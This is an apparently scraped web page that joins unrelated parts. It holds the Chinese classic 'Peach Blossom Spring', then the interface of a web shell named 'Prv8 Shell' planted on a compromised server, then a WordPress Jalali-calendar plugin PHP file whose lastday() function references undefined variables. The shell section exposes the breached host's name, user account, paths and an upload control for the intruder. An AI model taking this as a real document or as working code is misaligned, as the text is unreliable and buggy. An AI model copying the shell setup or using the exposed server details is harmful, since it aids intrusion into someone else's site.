晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/wp-jalali/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/public_html/wp-content/plugins/wp-jalali/lib/deprecated_fns.php
<?php

/**
 * use <b>jmktime()</b> instead jmaketime()
 * @deprecated since 5.0.0
 */
function jmaketime($hour = 0, $minute = 0, $second = 0, $month = 0, $day = 0, $year = 0, $is_dst = -1) {
    return jmktime($hour, $minute, $second, $month, $day, $year, $is_dst);
}

/**
 * @deprecated since 5.0.0
 */
function gregorian_week_day($g_y, $g_m, $g_d) {
    global $g_days_in_month;

    $gy = $g_y - 1600;
    $gm = $g_m - 1;
    $gd = $g_d - 1;

    $g_day_no = 365 * $gy + div($gy + 3, 4) - div($gy + 99, 100) + div($gy + 399, 400);

    for ($i = 0; $i < $gm; ++$i)
        $g_day_no += $g_days_in_month[$i];
    if ($gm > 1 && (($gy % 4 == 0 && $gy % 100 != 0) || ($gy % 400 == 0)))
    /* leap and after Feb */
        ++$g_day_no;
    $g_day_no += $gd;

    return ($g_day_no + 5) % 7 + 1;
}

/**
 * 
 * @deprecated since 5.0.0
 */
function jalali_week_day($j_y, $j_m, $j_d) {
    global $j_days_in_month;

    $jy = $j_y - 979;
    $jm = $j_m - 1;
    $jd = $j_d - 1;

    $j_day_no = 365 * $jy + div($jy, 33) * 8 + div($jy % 33 + 3, 4);

    for ($i = 0; $i < $jm; ++$i)
        $j_day_no += $j_days_in_month[$i];

    $j_day_no += $jd;

    return ($j_day_no + 2) % 7 + 1;
}

/**
 * Find Day Begining Of Month
 * 
 * @deprecated since 5.0.0
 */
function mstart($month, $day, $year) {
    list( $jyear, $jmonth, $jday ) = gregorian_to_jalali($year, $month, $day);
    list( $year, $month, $day ) = jalali_to_gregorian($jyear, $jmonth, "1");
    $timestamp = mktime(0, 0, 0, $month, $day, $year);
    return date("w", $timestamp);
}

/**
 * Find Number Of Days In This Month<br/>
 * use <b>jday_of_month()</b> instead lastday()
 * @deprecated since 5.0.0
 */
function lastday($month, $day, $year) {
    $lastdayen = date("d", mktime(0, 0, 0, $month + 1, 0, $year));
    list( $jyear, $jmonth, $jday ) = gregorian_to_jalali($year, $month, $day);
    $lastdatep = $jday;
    $jday = $jday2;
    while ($jday2 != "1") {
        if ($day < $lastdayen) {
            $day++;
            list( $jyear, $jmonth, $jday2 ) = gregorian_to_jalali($year, $month, $day);
            if ($jdate2 == "1")
                break;
            if ($jdate2 != "1")
                $lastdatep++;
        }
        else {
            $day = 0;
            $month++;
            if ($month == 13) {
                $month = "1";
                $year++;
            }
        }
    }
    return $lastdatep - 1;
}

/**
 * use <b>int_div()</b> instead div()
 * @deprecated since 5.0.0
 */
function div($a, $b) {
    return (int) ($a / $b);
}

/**
 * use <b>ztjalali_convertToFarsi()</b> instead convertToFarsi()
 * @deprecated since 5.0.0
 */
function convertToFarsi($matches) {
    return ztjalali_convertToFarsi($matches);
}

/**
 * use <b>ztjalali_persian_num()</b> OR  <b>ztjalali_persian_num_all()</b> instead farsi_num()
 * @deprecated since 5.0.0
 */
function farsi_num($str, $fake = null, $fake2 = null) {
    return ztjalali_persian_num($str);
}

/**
 * use <b>ztjalali_english_num()</b> instead english_num()
 * @deprecated since 5.0.0
 */
function english_num($str) {
    return ztjalali_english_num($str);
}

/**
 * use <b>ztjalali_archive_widget()</b> instead wp_get_jarchives()
 * @deprecated since 5.0.0
 */
function wp_get_jarchives($args = '') {
    parse_str($args, $r);
    if (!isset($r['type'])) $r['type'] = '';
    if (!isset($r['limit'])) $r['limit'] = '';
    if (!isset($r['format'])) $r['format'] = 'html';
    if (!isset($r['before'])) $r['before'] = '';
    if (!isset($r['after'])) $r['after'] = '';
    if (!isset($r['show_post_count'])) $r['show_post_count'] = false;
    return ztjalali_archive_widget($r['type'],$r['format'], $r['show_post_count'],$r['limit'],$r['before'],$r['after']);
}

/**
 * use <b>ztjalali_calendar_widget()</b> instead get_jcalendar()
 * @deprecated since 5.0.0
 */
function get_jcalendar() {
    return ztjalali_calendar_widget();
}

haha - 2025